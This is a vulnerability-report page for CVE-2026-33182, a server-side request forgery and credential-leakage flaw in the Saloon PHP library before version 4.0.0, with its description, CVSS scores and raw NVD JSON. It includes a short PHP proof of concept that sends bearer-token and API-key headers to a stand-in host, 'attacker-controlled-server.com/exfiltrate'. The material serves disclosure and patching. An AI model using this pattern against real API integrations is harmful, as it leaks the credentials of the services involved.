Security Vulnerability Report
中文
CVE-2026-33182 CVSS 7.5 HIGH

CVE-2026-33182

Published: 2026-03-26 01:16:27
Last Modified: 2026-03-30 16:51:46

Description

Saloon is a PHP library that gives users tools to build API integrations and SDKs. Prior to version 4.0.0, when building the request URL, Saloon combined the connector's base URL with the request endpoint. If the endpoint was a valid absolute URL, the code used that URL as-is and ignored the base URL. The request—and any authentication headers, cookies, or tokens attached by the connector—was then sent to the attacker-controlled host. If the endpoint could be influenced by user input or configuration (e.g. redirect_uri, callback URL), this allowed server-side request forgery (SSRF) and/or credential leakage to a third-party host. The fix in version 4.0.0 is to reject absolute URLs in the endpoint: URLHelper::join() throws InvalidArgumentException when the endpoint is a valid absolute URL, unless explicitly allowed, requiring callers to opt-in to the functionality on a per-connector or per-request basis.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:saloon:saloon:*:*:*:*:*:*:*:* - VULNERABLE
Saloon < 4.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // PoC for CVE-2026-33182: Saloon SSRF and Credential Leakage // This demonstrates how an absolute URL in the endpoint bypasses the base URL // and leaks authentication headers to an external attacker-controlled server. require_once 'vendor/autoload.php'; use Saloon\Http\Connector; use Saloon\Http\Request; use Saloon\Enums\Method; class ApiConnector extends Connector { // Legitimate internal API base URL public function resolveBaseUrl(): string { return 'https://api.internal-company.com/v1/'; } // Default authentication header (e.g., API Key) protected function defaultHeaders(): array { return [ 'Authorization' => 'Bearer SECRET_INTERNAL_TOKEN_123', 'X-API-Key' => 'super_secret_key' ]; } } class UserRequest extends Request { protected Method $method = Method::GET; // The endpoint is usually a relative path like 'users' // However, if this is controlled by user input (e.g., callback_url), // an attacker can supply an absolute URL. public function __construct(public string $endpoint) {} public function resolveEndpoint(): string { return $this->endpoint; } } // Exploit Scenario: // Attacker supplies a malicious absolute URL via a parameter (e.g., ?callback=http://evil.com/log) $maliciousEndpoint = 'http://attacker-controlled-server.com/exfiltrate'; $connector = new ApiConnector(); $request = new UserRequest($maliciousEndpoint); // In vulnerable versions (< 4.0.0): // The request is sent to 'http://attacker-controlled-server.com/exfiltrate' // The headers 'Authorization: Bearer SECRET_INTERNAL_TOKEN_123' are included. // The base URL 'https://api.internal-company.com/v1/' is ignored. $response = $connector->send($request); ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33182", "sourceIdentifier": "[email protected]", "published": "2026-03-26T01:16:27.043", "lastModified": "2026-03-30T16:51:45.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Saloon is a PHP library that gives users tools to build API integrations and SDKs. Prior to version 4.0.0, when building the request URL, Saloon combined the connector's base URL with the request endpoint. If the endpoint was a valid absolute URL, the code used that URL as-is and ignored the base URL. The request—and any authentication headers, cookies, or tokens attached by the connector—was then sent to the attacker-controlled host. If the endpoint could be influenced by user input or configuration (e.g. redirect_uri, callback URL), this allowed server-side request forgery (SSRF) and/or credential leakage to a third-party host. The fix in version 4.0.0 is to reject absolute URLs in the endpoint: URLHelper::join() throws InvalidArgumentException when the endpoint is a valid absolute URL, unless explicitly allowed, requiring callers to opt-in to the functionality on a per-connector or per-request basis."}, {"lang": "es", "value": "Saloon es una biblioteca PHP que proporciona a los usuarios herramientas para construir integraciones de API y SDKs. Antes de la versión 4.0.0, al construir la URL de la petición, Saloon combinaba la URL base del conector con el endpoint de la petición. Si el endpoint era una URL absoluta válida, el código usaba esa URL tal cual e ignoraba la URL base. La petición —y cualquier encabezado de autenticación, cookies o tokens adjuntos por el conector— se enviaba entonces al host controlado por el atacante. Si el endpoint podía ser influenciado por la entrada del usuario o la configuración (p. ej., redirect_uri, URL de callback), esto permitía la falsificación de petición del lado del servidor (SSRF) y/o la fuga de credenciales a un host de terceros. La solución en la versión 4.0.0 es rechazar las URLs absolutas en el endpoint: URLHelper::join() lanza InvalidArgumentException cuando el endpoint es una URL absoluta válida, a menos que se permita explícitamente, lo que requiere que los llamadores opten por la funcionalidad por conector o por petición."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:saloon:saloon:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.0", "matchCriteriaId": "2DA20E08-DBB0-4ACD-BED9-550F3ED97E3D"}]}]}], "references": [{"url": "https://docs.saloon.dev/upgrade/upgrading-from-v3-to-v4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/saloonphp/saloon/security/advisories/GHSA-c83f-3xp6-hfcp", "source": "security-advisories@ ... (truncated)